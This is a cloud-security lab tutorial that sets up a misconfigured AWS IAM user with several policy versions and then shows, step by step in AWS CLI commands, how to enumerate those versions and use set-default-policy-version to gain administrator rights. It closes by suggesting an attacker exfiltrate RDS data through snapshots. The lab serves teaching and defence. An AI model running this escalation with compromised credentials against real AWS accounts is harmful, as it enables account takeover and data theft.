Privilege Escalation via Policy Versions
Introduction
A policy is an object in AWS that, when associated with an identity or resource, defines their permissions. AWS evaluates these policies when an IAM principal (user or role) makes a request. Permissions in the policies determine whether the request is allowed or denied. AWS IAM policies define permissions for an action regardless of the method that you use to perform the operation.
What are we going to cover?
This chapter covers how multiple policy versions with overly permissive configuration for an older version leads to privilege escalation.
These are few assumptions to be made & define a goal for this demo
Because we are demonstrating privilege escalation, we work with the assumption that we have gained access to victim's AWS credentials. These credentials appear to be non-privileged. Our aim is to exploit a mis-configured with the user's policy definition and gain access to employee database.
Steps to setup lab
To create the vulnerable environment, follow the steps in your student machine.
Create a new folder to store the policies
mkdir awspolicies && cd awspolicies
Now download the policies from the mentioned URL.
aws s3 cp s3://aws-training-iampolicies/policies/ . --recursive
Create a new user in your aws account using the below command.
aws iam create-user --user-name paul
Make a
EC2DataS3ReadWritePolicy
policy in the account & attach it to the userpaul
aws iam create-policy --policy-name EC2DataS3ReadWritePolicy --policy-document file://policydoc1.json
Once we complete creating the policy, AWS will assign this policy version as V1 by default. We have couple of other versions to be uploaded. Run this script in your terminal.
export AWS_ACCOUNT_ID=$(aws sts get-caller-identity | jq .Arn | awk -F: '{print $5}')
Make sure you place the Account ID in the script.
for i in $(seq 2 5);
do
aws iam create-policy-version --policy-arn arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy --policy-document file://policydoc${i}.json;
done
We have successfully created the policy versions, It's time to attach these policies to user
paul
aws iam attach-user-policy --policy-arn arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy --user-name paul
Since we have completed creating the vulnerable environment, Now will configure
paul
security credentials in our system to perform this lab.aws iam create-access-key --user-name paul
Configure those security credentials in your student machine.
aws configure --profile paul
Steps to attack
Our objective via this exercise is to identify and exploit a mis-configuration with the user's policy definition and access restricted resources.
We have already configured Paul's AWS credentials on our system as a new AWS cli profile called paul
. The next step is to identify if we have access or not to restricted resources.
Run
aws sts get-caller-identity --profile paul
to verify if the credentials are setup properly.

aws sts get-caller-identity --profile paul
As attackers, we want to see if paul
can access databases in AWS RDS.
aws rds describe-db-instances --region us-east-1 --profile paul

Now proceed to enumerate the attached user policies to this user to get a sense of what exactly can the user see or do in AWS. Now, Let's try to list what user defined policies are attached to the user.

aws iam list-attached-user-policies --user-name paul --profile paul
The username is obtained from the STS command earlier. The output of this command shows that there is a policy called EC2DataS3ReadWritePolicy. Looking at the policy's current version gives us a sense of how many more may be there that need to be enumerated if you hope to find a weakness. Now let's check the current policy number.
aws iam get-policy --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --profile paul

Next we attempt to get the actual definition of the policy json to get an idea of what is allowed and what is not. Now check the v1 policy definition.
aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v1 --profile paul
Next we attempt to list all versions that are available for this particular policy.

We do this using the following AWS cli command.
aws iam list-policy-versions --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --profile paul

Once we have a list of all policy versions in AWS we can then enumerate each version and examine the policy json definition as shown below. Check the all versions if possible. We start with the enumeration of v1 of the policy. This can be done using the following command.
aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v1 --profile paul
We repeat the same command for all the versions of the policy and closely examine each of the policy definition to identify if a mis-configuration exists in any.
To enumerate v3 of the policy we simply change the value of --version-id to v3 as shown below.

aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v3 --profile paul
Finally, we arrive at v5 of the policy and see that a wildcard usage for Action and Resource gives this policy effective Administrator Access.
To enumerate v5 of the policy we simply change the value of --version-id to v5 as shown below.
aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v5 --profile paul
Once we know the version that has overly permissive json definition, we use our current privilege that gives us the IAM ability to set a default policy, to change the default policy and effectively become an AWS Administrator. Set v5 of the policy as the default policy.

aws iam set-default-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v5 --profile paul
Once the policy has been updated and the new permissive policy version is applied, Paul's user account is now an AWS Administrator.

aws rds describe-db-instances --profile paul
We can finally access the AWS RDS service to enumerate existing databases. As an attacker, we can now take an RDS snapshot and exfiltrate data by recreating an instance or simply exposing the snapshot to the public.
Additional references
Last updated